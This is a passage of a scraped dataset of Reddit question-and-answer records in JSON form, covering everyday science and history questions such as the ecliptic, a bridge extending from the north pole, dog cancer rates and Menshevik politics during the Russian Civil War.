Putting files in a directory on top of the root directory alleviates this problem, as more files are allowed in subdirectories than the root directory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Design_rule_for_Camera_File_system"], [], []]}
{"q_id": "12qrjo", "title": "In astronomy, what exactly is the ecliptic?", "selftext": "I've been struggling to wrap my mind around this concept for a while now. As I understand it, it's the path the sun appears to follow, yet that doesn't make sense to me; this changes every day, no?\n\nI posed the same question in /r/explainlikeimfive, but with no luck. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12qrjo/in_astronomy_what_exactly_is_the_ecliptic/", "answers": {"a_id": ["c6xdbbb", "c6xe12b"], "score": [7, 5], "text": ["It's the plane on which the Earth rotates around the sun.", "The planets and other bodies in the solar system revolve around the Sun. But they don't all just fly in any pattern. There is a geometric plane which can be drawn from the equator of the Sun outwards, and stably orbiting bodies tend to stay tethered within this plane by the Sun's gravity. That's the ecliptic. Some objects defy this pattern, like comets and Pluto, and it's usually a sign that they have an unusual origin.\n\nFrom our perspective on Earth, it appears that all the planets and the Sun move across a band of sky, always with the same stars in the background. In reality, we are in that plane too, but historically this section of the sky was considered especially significant due to the motion of objects within it. The constellations of the zodiac lie on the ecliptic, too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2saczt", "title": "if science advances far enough, could we remove/add electrons, protons and neutrons to change one element to another?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2saczt/eli5_if_science_advances_far_enough_could_we/", "answers": {"a_id": ["cnnltyo", "cnnluo4", "cnnlv6h"], "score": [10, 5, 3], "text": ["We've done this. That's precisely what a nuclear reaction is. We've performed, for example, the fusion of hydrogen into helium.", "Only be adding or removing protons does the element \"change.\" Adding/removing electrons only alters the element's charge, and adding/removing neutrons only affects ~~whether it is an isotope or not~~ which isotope it is.\n\nAnd we can do all three of these, with varying degrees of crudeness. Atomic fusion/fission transmutes elements from one to another, though the outcome is a bit - explosive - and we have limited control over precisely what is created as a result.", "It would be protons, mostly...and yes.  This is called nuclear chemistry and we do that today.  \n\nOne simple method is to just put an element or compound into the heart of a nuclear reactor and let it absorb neutrons for a while.\n\nThis is how radioactive elements are made for medical diagnostic tests and scientific research....hence why there are small nuclear reactors on some college campuses or in various cities that have nothing to do with energy production."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4fvjqr", "title": "Is the Qur'an great literature to Arabs? (Like Shakespeare is to the English?)", "selftext": "Let me explain. There seems to be a consensus among the poets and professors that Shakespeare wrote some great English. The occasional high school student might gripe about not understanding it and wondering why everybody else thinks it's great, but the practitioners of the English language agree to it's higher level use of language. It's not some shody paper a high schooler wrote the Sunday before, for example. \n\nDoes the Qur'an carry the same effect to Arabs? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4fvjqr/is_the_quran_great_literature_to_arabs_like/", "answers": {"a_id": ["d2cioy7"], "score": [5], "text": ["This will depend largely upon whom you ask. A pious Muslim is likely to tell you that it is the most beautiful work in the most beautiful language ever devised. An ex-Muslim or Arabic speaking non Muslim will often point to Arabic poets whose works are deemed superior in prose or poetry or Merit. (Al Mutanabbi springs to mind) So there is a rose tinted veil of ideology at times strewn over this topic). One could argue that the revered nature of the Koran has influenced Arabic and what is considered elevated language. \n\nI remember a discussion on r/islam regarding the place of Arabic in all of this. There was a Lets-read-the-Koran-together initiative a few years back and many people were resorting to using a study Koran that had different interpretations and commentary in it. Some Sheiks were *vehemently* opposed to this and insisted that the Koran must be read in Arabic. Many Muslims believe that the nature of Arabic itself makes it untranslatable and that to truly read the Koran you must read it in Arabic. If this were true though, that Arabic was untranslatable, then no non-native speaker could ever learn it. Because in order to learn the language one would first have to identify words and concepts in ones own language and find their analogues in Arabic. \n\nThis is a continuing topic of discussion for Muslims as a whole. I encourage you to ask this question in a sub like r/pakistan , r/arabs, r/shia , r/islam and elsewhere. I personally find this topic fascinating and have explored it (via discussion) at some length."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5ezunm", "title": "Do 15 year old dogs get cancer at rates similar to 15 year old humans, or to humans at a similar point on their lifespan?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ezunm/do_15_year_old_dogs_get_cancer_at_rates_similar/", "answers": {"a_id": ["dage2wa", "dagfzem", "dagid46"], "score": [335, 47, 9], "text": ["Definitely the latter . A 15 year old human is an adolescent. Cancer in adolescents (14-19) is pretty rare , accounting for less than 1% of all cancers. They also tend to be different types of cancer than what children or adults get. This would be more equivalent to a 1-2 year old dog. A 15 year old dog is beyond geriatric. That's beyond the normal lifespan of many breeds. A better example might be comparing to a middle aged or older dog (10-12) in many breeds. Their rates of cancer are going to be higher, comparable to people above 65. . Age is a big risk factor for cancer; certain cancer types in particular are linked to aging. \n", "An interesting observation is that the number of cells in an organism does not necessarily correlate with the risk of developing cancer. This is referred to as Peto's Paradox (wiki link if you'd like it: _URL_0_ )\n\nThe longstanding theory of the development of cancer is that as you age, your cells acquire mutations that give them a survival advantage, allowing them to proliferate faster and acquire even more mutations, eventually leading to cancer. \n\nHowever, mutation is a stochastic process in replicating cells, and by the time you are 18, every single base pair in your entire genome has at one point been mutated. Now, the vast majority of these mutations are deleterious and are selected against, some are neutral, but you would expect that the so-called 'cancer mutations' like c-Myc or NRas/KRas or p53 would pop up and provide cells with a survival advantage. But that doesn't happen, as adolescent cancer is extremely rare. \n\nThis brings up 2 concepts: Clonal Hematopoiesis of Indeterminate Potential (CHIP), and microenvironment fitness. \n\nCHIP refers to cells that harbor these classic cancer mutations but aren't actively proliferating. Which at first seems to make no sense, because if these cells have the mutations that boost replication, why aren't they constantly dividing? The microenvironment idea may hold a plausible answer. Think of a young person's healthy body and an elderly person's frail body - the younger person likely has healthier tissues and a stronger immune system than the elderly person and will be better at suppressing the growth of these pre-cancerous cells. \n\nSimilarly, a lifelong smoker, in addition to causing additional DNA mutations due to tobacco smoke, has broken down their tissue microenvironment and has provided a scenario in which not only is the suppression of cancer cells reduced, but those pre-cancerous mutations now are in an environment in which positive selection may begin to act on them. \n\nThese are new concepts that are actively being tested, and if you would like to read more I encourage you to read about CHIP from Dan Link's lab at Wash U in St Louis, and the concept of Peto's Paradox and the pre-cancerous microenvironment from James DeGregori's lab at the University of Colorado ", "Taking human as a reference, you'd expect smaller animals, that have less cells and live shorter, not to get cancer. But they do\u2014this is Peto's paradox as /u/Shooterdog mentionned.\n\nThe general idea regarding why, is that since dogs only live ~15 years, natural selection does not promote mechanisms to suppress cancer for 50+ years. DNA repair systems in dogs keep things together for 10 years and that's all what's needed. (See _URL_0_ for more.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Peto's_paradox"], ["https://en.wikipedia.org/wiki/Evolution_of_ageing"]]}
{"q_id": "1mke2o", "title": "Why doesn't Windows' 'estimated time remaining' ever work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mke2o/why_doesnt_windows_estimated_time_remaining_ever/", "answers": {"a_id": ["cca3ecm", "cca7rd4"], "score": [7, 3], "text": ["I believe it's more of a problem of the algorithm they used for calculating the remaining time. I also think they've re-done it for windows 8, it seems better. But anyways, from what I've experienced after years of watching the stupid/crazy file transfer bar, it probably goes something like:\n\n    start a running time;\n    take a larger time step: 1-10 seconds and measure the rate of transfer;\n    every second calculate how much time is left using measured data speed and current time;\n    repeat till finished;\n\nwhich works great for consistent file transfers like downloads, not so great when the instantaneous speed isn't consistent (like in a hard drive with many different sized files). Also why when a transfer is stopped for some reason and windows doesn't realize it the time will slowly increase.", "[Something similar has been asked before.](_URL_1_)\n\nThis [guy](_URL_0_) provides a good explanation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://ask-leo.com/why_are_progress_bars_so_awful.html", "http://www.reddit.com/r/askscience/comments/1g4dmx/"]]}
{"q_id": "3bfgkl", "title": "Aside from Gauguin, did other painters/artists travel to the Pacific (Australia, New Zealand, Tahiti, Easter Island...) during the 19th century?", "selftext": "Please excuse me if my question is not very clear, but after attending an exposition about Paul Gauguin I wanted to know if other artists (painters, sculptors, writers...) travelled to the Pacific Ocean (including Australia/New Zealand) and how did they react to it?\n\nI really enjoyed Gauguin's portraits of women from Tahiti and I would love to learn more about the imagery and \"reception\" of the Pacific Islands during the 19th century. Also, I just realized that I read Melville's Typee a few years ago and absolutely loved it. Thus I'm kind of looking into stuff like this. For instance I'd love to read notes of an artist's journal who travelled to this part of the globe. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bfgkl/aside_from_gauguin_did_other_paintersartists/", "answers": {"a_id": ["cslq910"], "score": [2], "text": ["A good place to start is the Honolulu Academy of Arts exhibition  *Encounters With Paradise: Views of Hawaii and Its People, 1778-1941*, catalogue by David Forbes, 1992--there is remarkable work by all kinds of European and American artists you've never heard of.\n\nAn important figure is the American artist John La Farge, student of Thomas Couture, who visited and made paintings in the South Seas in the 1890s, including Tahiti, Samoa, Hawaii; he also travelled to Japan. Yale University Art Gallery has his South Seas sketchbook. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p0owh", "title": "If hunger makes food taste better, does it do so by enhancing the perception of taste in the brain or increase sensitivity from the tongue?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p0owh/if_hunger_makes_food_taste_better_does_it_do_so/", "answers": {"a_id": ["ccxl5zi"], "score": [67], "text": ["It doesn't have so much to do with the tongue. It really comes down to motivational state. Increasing hunger can increase your motivation for food. If you have more motivation for something, that means it becomes a stronger reward when you obtain it. Stronger rewards cause more dopamine release. In fact:\n\n1. Dopamine neurons originating from the midbrain will release more dopamine in response to food if you are very hungry. [Here is a source on that.](_URL_0_)\n\n2. The chemicals that signal your brain that your belly is full (i.e leptin and insulin) also decrease dopamine release in response to food. [Here's that source.](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/10594666", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2636975/"]]}
{"q_id": "5j6y8z", "title": "what causes premonitions, how do they happen, and are they considered warnings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5j6y8z/eli5_what_causes_premonitions_how_do_they_happen/", "answers": {"a_id": ["dbdsj4d"], "score": [4], "text": ["Premonitions are worries which are born out and assumed by our foolish pattern-matching brains to have been motivated by something other than our entirely normal ability to guess about the future and simple chance. They are not \"considered warnings\" because they are entirely natural and not information from an outside source at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "x35v8", "title": "Is there any scientific basis behind the notion that reading improves one's imagination?", "selftext": "If so, is this more specific to either fiction or nonfiction?  Or is this notion simply derived from the general idea that reading is associated with intelligence, and intelligent people are more likely to possess innovative or creative qualities (thus, \"improving the imagination\")?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x35v8/is_there_any_scientific_basis_behind_the_notion/", "answers": {"a_id": ["c5irv8e"], "score": [2], "text": ["How would you quantify \"improvement on imagination\"? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "lu7r6", "title": "If we were to build a bridge perfectly straight from the north pole, how long could we walk on for?", "selftext": "Assuming we could build a bridge, or walkway similar to the one in this [drawing](_URL_0_), (infinite flight aside), how might we expect to experience walking the length of it?  How would we be affected?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lu7r6/if_we_were_to_build_a_bridge_perfectly_straight/", "answers": {"a_id": ["c2vn4wi", "c2vn6rg", "c2vn7f5", "c2vn7q1", "c2vn89f", "c2vn8m6", "c2vnbt7", "c2vneph", "c2vp454", "c2vn4wi", "c2vn6rg", "c2vn7f5", "c2vn7q1", "c2vn89f", "c2vn8m6", "c2vnbt7", "c2vneph", "c2vp454"], "score": [2, 8, 16, 4, 4, 20, 2, 6, 265, 2, 8, 16, 4, 4, 20, 2, 6, 265], "text": ["I'm not sure what you would experience as you walked along it, however, the 'infinite flight' in the drawing actually would happen. Its called orbiting. At a sufficiently high point, the walkway would be moving at such a speed that when you stepped off it, you would begin to orbit.", "It doesn't have to be the north pole, all points on the Earth are equally spherical (ignoring mountains and shit). If the bridge was 11 km long and perfectly rigid, it would be about 10 meters above the surface at the end. I don't think this is engineeringly possible.", "You would experience such a walk as going up a ramp that became steeper and steeper.  Draw a line between any point on the ramp and the center of the earth and you can see how steep the ramp would seem at that point.", "Gravity would be pulling you towards the center of the sphere relative to where you were.  The \"flat\" bridge would become more and more inclined relative to the gravity effecting you, and sooner or later it would become too \"steep\" to continue onwards.", "As you walk, the bridge would seem to get steeper as you go, because gravity is always pointing towards the center of the earth. If your bridge is ca. 6370km long (radius of the earth), which is roughly what it is in the drawing, then near the end of it it would be at a 45 degree angle relative to the local gravitational field. \n\nIf it is longer, it would keep getting steeper, but never quite reach a 90 degree angle (though it would reach 89.999 at some point).\n\nOf course, as you walk, you get further away from the earth, and the gravitational force you experience would get lower. Taking the example from the picture again, at the tip you are ~9000km away from the center of the earth, 1.41 (sqrt(2) to be exact) times as far as you would normally be. Since the force of gravity decreases with the square of the distance, you would feel twice as light as normal (ignoring the outward centrifugal force).", "You fall straight down, not sideways as in the drawing.  Down in our case is toward the center of the earth, so you'd fall at at roughly 45 degree angle to your bridge (if you were able to build it out that far).\n\nThis also gives you some insight about how gravity pulls on your bridge.  At the pole, you'd feel gravity pulling you in the same direction as the normal face of the bridge.  As you went out onto the bridge, the angle between \"down\" (the direction gravity pulls you) and the normal face of the bridge would increase.  Effectively, you'd be climbing uphill.  Once you get farther out (on the order of earth radii), the gravitational force would noticeably be weaker since you're getting farther from the planet.  Then you'd start to feel some of the forces due to the bridge spinning with the planet.   Once this force balances with gravity, you'd be in geostationary orbit.  After this point, if you were to jump off the bridge, you'd end up in a highly elliptical orbit.  Go even farther on the bridge and you could break free of earth's gravity.\n\nOf course, all this assumes a magical bridge that would be able to support itself and not bend as the planet whipped it about.", "Assuming suitable breathing equipment was used, we could walk quite far, but not infinitely. While it may be a straight bridge, the centre of the Earth would not be perpendicular to the whole bridge, so it would get increasingly more difficult to walk as the angle of the bridge would increase relative to the centre of the Earth. There would be a point where the bridge would get so steep that you would slide back down; the angle of this point would depend on the material of the bridge and what shoes you were wearing, because this would affect the friction. This is similar to attempting to walk up a slide which gets increasingly steeper as you go up, as the angle at which you are walking at relative to the centre of the Earth gets greater and you will reach a point at which you cannot continue.\n\nBecause of the impact of friction on the results, a general answer cannot be found. If we assume that the point at which you can no longer walk is when you are travelling at a 45^o angle to the centre of the Earth, then you would be able to walk approximately the distance of the radius of the Earth, which is 4000 miles (6400 Km).", " > jump, you will fall **towards the centre of the planet**", "OP asked about the *experience* of walking the length of the bridge, so here goes:\n\n**After 10 miles**, you would be on a causeway 40 feet tall, high enough that a fall would cause serious injury. The slope would be so mild that you wouldn't notice it.\n\n**After 90 miles**, you would be as high as the [Burj Khalifa](_URL_2_), the tallest structure in the world. You would be walking up a gentle 2.2% grade (1.3\u00b0).\n\n**After walking 200 miles**, you would be entering what mountaineers call the [death zone](_URL_11_), where unaided respiration is no longer possible. You're walking up a 5.1% grade (2.8\u00b0), the same slope as [steepest standard railroad line in the US](_URL_10_).\n\n**At 320 miles**, you are 7.5 miles off the ground, the cruising altitude of a 787. There's 20% as much oxygen as at sea level. This is the coldest part of the atmosphere: -70 \u00b0F, though [it would be colder if you'd built at the equator](_URL_7_). And it gets worse. Since you're walking up a 1:12 slope, your bridge is no longer legally [wheelchair accessible](_URL_0_).\n\n**At 440 miles**, you're 13 miles high and the atmospheric pressure has dropped 95%, from 15 psi to 0.7 psi. Break out your high-altitude cooking directions: water boils at 90 \u00b0F, lower than body temperature. Get the sunscreen too \u2013 that faint smell of Geraniums means you're passing above the [ozone layer](_URL_5_). It's a balmy 40 below.\n\n**At mile marker 1000** you're [officially in space](_URL_6_), 100 km up. If you'd sped the bridge project up, you could have won the [Ansari X-Prize](_URL_1_) pretty easily (well, not *easily*. Driving at this altitude is obviously impossible - no air to burn. The Tesla electric car has less than 300 miles of range. A small car would need about 60 gallons of gas to drive this far, plus 60 gallons of liquid oxygen. Still, that's easier than building the bridge). You're walking (or driving) up a 25% grade (14\u00b0), and gravity is 97% what it was at the surface.\n\nYou have to go **2,000 miles** to be at the orbital altitude of the international space station - 250 miles up. If you were smart you built your bridge toward Russia, so you're still inside the [Van Allen radiation belt](_URL_3_) that protects you from cosmic rays. However the tradeoff is that you're within the [high-energy electron belt](_URL_4_). You're being bombarded with electrons at 10-100 million volts, so your hair will stand on end constantly. You're walking up a 51% grade (27\u00b0), which is about the [optimal ergonomic slope for stairs](_URL_9_). Gravity is  89% what it was on the surface, so if you weighed 160 lbs, you now weigh only 145 lbs. If you fell now, you'd land somewhere in Russia instead of the ocean\n\n**At 3,950 miles**, you're at the end of the bridge, one Earth radius from where you started. The grade is of course 100% (45\u00b0), you're 1640 miles up, and if you built toward Russia you're now near the border between China and Kazakhstan. Gravity is exactly half what it was on the surface, but your centrifugal force due to Earth's rotation still contributes only a negligible amount - reducing gravity by about 0.001 G. You would need a bridge over 5x as long, 22,000 miles, to bring you near [geostationary orbit](_URL_8_).", "I'm not sure what you would experience as you walked along it, however, the 'infinite flight' in the drawing actually would happen. Its called orbiting. At a sufficiently high point, the walkway would be moving at such a speed that when you stepped off it, you would begin to orbit.", "It doesn't have to be the north pole, all points on the Earth are equally spherical (ignoring mountains and shit). If the bridge was 11 km long and perfectly rigid, it would be about 10 meters above the surface at the end. I don't think this is engineeringly possible.", "You would experience such a walk as going up a ramp that became steeper and steeper.  Draw a line between any point on the ramp and the center of the earth and you can see how steep the ramp would seem at that point.", "Gravity would be pulling you towards the center of the sphere relative to where you were.  The \"flat\" bridge would become more and more inclined relative to the gravity effecting you, and sooner or later it would become too \"steep\" to continue onwards.", "As you walk, the bridge would seem to get steeper as you go, because gravity is always pointing towards the center of the earth. If your bridge is ca. 6370km long (radius of the earth), which is roughly what it is in the drawing, then near the end of it it would be at a 45 degree angle relative to the local gravitational field. \n\nIf it is longer, it would keep getting steeper, but never quite reach a 90 degree angle (though it would reach 89.999 at some point).\n\nOf course, as you walk, you get further away from the earth, and the gravitational force you experience would get lower. Taking the example from the picture again, at the tip you are ~9000km away from the center of the earth, 1.41 (sqrt(2) to be exact) times as far as you would normally be. Since the force of gravity decreases with the square of the distance, you would feel twice as light as normal (ignoring the outward centrifugal force).", "You fall straight down, not sideways as in the drawing.  Down in our case is toward the center of the earth, so you'd fall at at roughly 45 degree angle to your bridge (if you were able to build it out that far).\n\nThis also gives you some insight about how gravity pulls on your bridge.  At the pole, you'd feel gravity pulling you in the same direction as the normal face of the bridge.  As you went out onto the bridge, the angle between \"down\" (the direction gravity pulls you) and the normal face of the bridge would increase.  Effectively, you'd be climbing uphill.  Once you get farther out (on the order of earth radii), the gravitational force would noticeably be weaker since you're getting farther from the planet.  Then you'd start to feel some of the forces due to the bridge spinning with the planet.   Once this force balances with gravity, you'd be in geostationary orbit.  After this point, if you were to jump off the bridge, you'd end up in a highly elliptical orbit.  Go even farther on the bridge and you could break free of earth's gravity.\n\nOf course, all this assumes a magical bridge that would be able to support itself and not bend as the planet whipped it about.", "Assuming suitable breathing equipment was used, we could walk quite far, but not infinitely. While it may be a straight bridge, the centre of the Earth would not be perpendicular to the whole bridge, so it would get increasingly more difficult to walk as the angle of the bridge would increase relative to the centre of the Earth. There would be a point where the bridge would get so steep that you would slide back down; the angle of this point would depend on the material of the bridge and what shoes you were wearing, because this would affect the friction. This is similar to attempting to walk up a slide which gets increasingly steeper as you go up, as the angle at which you are walking at relative to the centre of the Earth gets greater and you will reach a point at which you cannot continue.\n\nBecause of the impact of friction on the results, a general answer cannot be found. If we assume that the point at which you can no longer walk is when you are travelling at a 45^o angle to the centre of the Earth, then you would be able to walk approximately the distance of the radius of the Earth, which is 4000 miles (6400 Km).", " > jump, you will fall **towards the centre of the planet**", "OP asked about the *experience* of walking the length of the bridge, so here goes:\n\n**After 10 miles**, you would be on a causeway 40 feet tall, high enough that a fall would cause serious injury. The slope would be so mild that you wouldn't notice it.\n\n**After 90 miles**, you would be as high as the [Burj Khalifa](_URL_2_), the tallest structure in the world. You would be walking up a gentle 2.2% grade (1.3\u00b0).\n\n**After walking 200 miles**, you would be entering what mountaineers call the [death zone](_URL_11_), where unaided respiration is no longer possible. You're walking up a 5.1% grade (2.8\u00b0), the same slope as [steepest standard railroad line in the US](_URL_10_).\n\n**At 320 miles**, you are 7.5 miles off the ground, the cruising altitude of a 787. There's 20% as much oxygen as at sea level. This is the coldest part of the atmosphere: -70 \u00b0F, though [it would be colder if you'd built at the equator](_URL_7_). And it gets worse. Since you're walking up a 1:12 slope, your bridge is no longer legally [wheelchair accessible](_URL_0_).\n\n**At 440 miles**, you're 13 miles high and the atmospheric pressure has dropped 95%, from 15 psi to 0.7 psi. Break out your high-altitude cooking directions: water boils at 90 \u00b0F, lower than body temperature. Get the sunscreen too \u2013 that faint smell of Geraniums means you're passing above the [ozone layer](_URL_5_). It's a balmy 40 below.\n\n**At mile marker 1000** you're [officially in space](_URL_6_), 100 km up. If you'd sped the bridge project up, you could have won the [Ansari X-Prize](_URL_1_) pretty easily (well, not *easily*. Driving at this altitude is obviously impossible - no air to burn. The Tesla electric car has less than 300 miles of range. A small car would need about 60 gallons of gas to drive this far, plus 60 gallons of liquid oxygen. Still, that's easier than building the bridge). You're walking (or driving) up a 25% grade (14\u00b0), and gravity is 97% what it was at the surface.\n\nYou have to go **2,000 miles** to be at the orbital altitude of the international space station - 250 miles up. If you were smart you built your bridge toward Russia, so you're still inside the [Van Allen radiation belt](_URL_3_) that protects you from cosmic rays. However the tradeoff is that you're within the [high-energy electron belt](_URL_4_). You're being bombarded with electrons at 10-100 million volts, so your hair will stand on end constantly. You're walking up a 51% grade (27\u00b0), which is about the [optimal ergonomic slope for stairs](_URL_9_). Gravity is  89% what it was on the surface, so if you weighed 160 lbs, you now weigh only 145 lbs. If you fell now, you'd land somewhere in Russia instead of the ocean\n\n**At 3,950 miles**, you're at the end of the bridge, one Earth radius from where you started. The grade is of course 100% (45\u00b0), you're 1640 miles up, and if you built toward Russia you're now near the border between China and Kazakhstan. Gravity is exactly half what it was on the surface, but your centrifugal force due to Earth's rotation still contributes only a negligible amount - reducing gravity by about 0.001 G. You would need a bridge over 5x as long, 22,000 miles, to bring you near [geostationary orbit](_URL_8_)."]}, "title_urls": [], "selftext_urls": ["http://images.cheezburger.com/completestore/2010/12/29/2d6eb84f-8b86-4ba6-90aa-dbc70f44e197.jpg"], "answers_urls": [[], [], [], [], [], [], [], [], ["http://www.access-board.gov/adaag/html/adaag.htm#4.8", "http://space.xprize.org/ansari-x-prize", "http://en.wikipedia.org/wiki/Burj_Khalifa", "http://en.wikipedia.org/wiki/Van_Allen_radiation_belt", "http://image.gsfc.nasa.gov/poetry/tour/AAvan.html", "http://en.wikipedia.org/wiki/Ozone_layer", "http://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line", "http://www.ux1.eiu.edu/~cfjps/1400/atmos_struct.html", "http://en.wikipedia.org/wiki/Geostationary_orbit", "http://en.wikipedia.org/wiki/Stairway#Ergonomics_and_building_code_requirements", "http://en.wikipedia.org/wiki/Saluda_Grade", "http://en.wikipedia.org/wiki/Effects_of_high_altitude_on_humans#Death_zone"], [], [], [], [], [], [], [], [], ["http://www.access-board.gov/adaag/html/adaag.htm#4.8", "http://space.xprize.org/ansari-x-prize", "http://en.wikipedia.org/wiki/Burj_Khalifa", "http://en.wikipedia.org/wiki/Van_Allen_radiation_belt", "http://image.gsfc.nasa.gov/poetry/tour/AAvan.html", "http://en.wikipedia.org/wiki/Ozone_layer", "http://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line", "http://www.ux1.eiu.edu/~cfjps/1400/atmos_struct.html", "http://en.wikipedia.org/wiki/Geostationary_orbit", "http://en.wikipedia.org/wiki/Stairway#Ergonomics_and_building_code_requirements", "http://en.wikipedia.org/wiki/Saluda_Grade", "http://en.wikipedia.org/wiki/Effects_of_high_altitude_on_humans#Death_zone"]]}
{"q_id": "3n6et9", "title": "Were there Mensheviks who fought on the side of the White Army during the Russian Civil War?", "selftext": "Or did the Mensheviks rejoin the Bolsheviks after the Revolution in 1917?  Or is the answer a combination of both?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3n6et9/were_there_mensheviks_who_fought_on_the_side_of/", "answers": {"a_id": ["cvm2pq4", "cvmnary"], "score": [3, 3], "text": ["/u/International_KB might be able to shed some light on this topic. In the meantime, here are some answers that give background info on the Mensheviks  &  Menshevik-Bolshevik relations before and up to 1917:\n\n[*How did the Mensheviks lose to the Bolsheviks?*]: _URL_3_ \"Score: 74 points (90% upvoted) = 83 upvotes  &  9 downvotes | posted: undefined (undefined)\"\n* [*How did the Mensheviks lose to the Bolsheviks?*]\n(_URL_0_)  \n^(12 Aug 2015 | 14 comments)  \n^(General answer by /u/The_Alaskan)\n\n[*What is the difference between the Bolsheviks and Mensheviks?*]: _URL_1_ \"Score: 8 points (80% upvoted) = 11 upvotes  &  3 downvotes | posted: undefined (undefined)\"\n* [*What is the difference between the Bolsheviks and Mensheviks?*]\n(_URL_2_)  \n^(22 Jun 2015 | 1 comment)  \n^(1902  &  1917 comparison of both by /u/International_KB)", "Cheers to /u/OldWorldGlory for the summons.\n\nIn the first place, we need to be wary of being too prescriptive with labels. The Russian Civil War saw a bewildering array of local and national forces locked in a very fluid political environment. It was, as we'll see, perfectly possible for individuals to move between parties and factions in the space of a few years or even months. The best way to view the 'Reds' and 'Whites' is as shifting and rather nebulous coalitions, rather than cast-iron factions.\n\nThis was particularly true of the Mensheviks. Unlike the Bolsheviks, the Menshevik wing of the RSDLP had essentially splintered by 1917, with three informal factions emerging - Martov's *Internationalists*, Tsereteli's *Right Mensheviks* and Plekenhov's *Unity* group. The specifics of each group aren't particularly relevant to this discussion but broadly they can be seen as ranging from left to right, respectively.\n\nLike the Socialist Revolutionaries (SRs) the Mehsheviks went into a period of deep internal debate after October 1917 and the January 1918 disbandment of the Constituent Assembly. At its heart this debate questioned what the approach should be to the new Soviet government. Unlike the Right SRs, the Mensehviks were still wedded to the soviets as institutions (ie they did not reject 'Soviet power' *per se*, just the Bolshevik monopoly on it) and were aware that a repudiation of this would essentially pit them against the Russian working class.\n\nBut while the immediate task of the Mensheviks was to try and win power back from *within* the the Soviet movement, the advent of Civil War made this untenable. Their process that year came to naught as the Bolsheviks pulled down the shutters on opposition groups in the struggle against the Whites. With some exceptions, below, those individual Mensheviks who didn't pass into exile generally chose to reluctantly support the Soviets. The nebulous boundaries of Russian Social Democracy made it easy to either formally join the Bolsheviks or work within Soviet institutions as a Menshevik.\n\nSo no, the Menshevik *party* did not generally support the White armies or anti-Soviet factions. When the Right SRs convened the Komuch government in Samara, holding that legitimate authority derived from the Constituent Assembly rather than the soviets, the Mensheviks generally kept their distance. Some individual and lower party organs did cooperate with Komuch but this ended once Kolchak installed an anti-democratic regime in Nov 1918.\n\n(Similarly Georgia was a Menshevik stronghold that remained neutral-ish until 1921 but was never aligned to the White movement.)\n\nSo generally the Mensheviks wavered and splintered but never openly opposed the Soviet movement. They were caught in the middle - anti-Bolshevik but not anti-Soviet. This left little ground for cooperation with even the mildest armed insurrections against the Bolsheviks (ie Komuch).\n\nBut you will always find individual exceptions. One of the most notable, and illustrative of the period's fluidity, is Ivan Maiskii. He was a pre-war Menshevik who in 1918 joined the Komuch government as Director for Labour. For openly joining an anti-Soviet movement Maiskii was expelled from the Mensheviks. After Komuch's dismantling by Kolchak, Maiskii joined the Bolsheviks and built a career as a diplomat, becoming ambassador to Britain in 1932. He survived Stalin and died in 1975.\n\nSources\n\nThis is all fairly general. Swain's *Origins of the Russian Civil War* is a decent place to start reading."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3gqm9y/how_did_the_mensheviks_lose_to_the_bolsheviks/", "https://redd.it/3ar320", "https://www.reddit.com/r/AskHistorians/comments/3ar320/what_is_the_difference_between_the_bolsheviks_and/", "https://redd.it/3gqm9y"], []]}
{"q_id": "1m4ub0", "title": "i've noticed some birds are walking around with \"unfinished legs\" or \"missing feet/toes\". why?", "selftext": "For the past year and a half I've noticed that when I choose to eat outside anywhere, birds (little ones usually) come flutter or walk close by me so I when drop food or leave food on the table they can dig in. This isn't abnormal of course, but what I do find abnormal is when I look closely at a couple birds they're walking with a limp, and thats when I noticed that some have half a leg, one leg, 2 toes, etc. \n\nWhy is that? Some speculate that it has to do something with their egg being cracked before they were born? I think it might have something to do with chromosomes? idk.\n\nI live in San Jose, CA if the environment makes any difference.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m4ub0/eli5_ive_noticed_some_birds_are_walking_around/", "answers": {"a_id": ["cc5sxt9", "cc5tcsr", "cc5w4u9", "cc5xl49"], "score": [3, 8, 2, 2], "text": ["I don't have an answer, but I've noticed that pigeons especially get this a lot. I wonder if it has something to do with living in an urban environment.", "This is quite common in pigeons as they tend to live in metropolitan areas.  The cases of missing toes, feet or even part of the leg can be be most commonly attributed to a 'string wound'.  Essentially string gets wrapped around the toe/foot/leg and constricts to the point that circulation is disrupted.  It is also possible, though less common, for the bird to have 'bumble foot' which is a form of staff infection.  It's possible that some of them are war wounds from battling with other birds over food or territory. 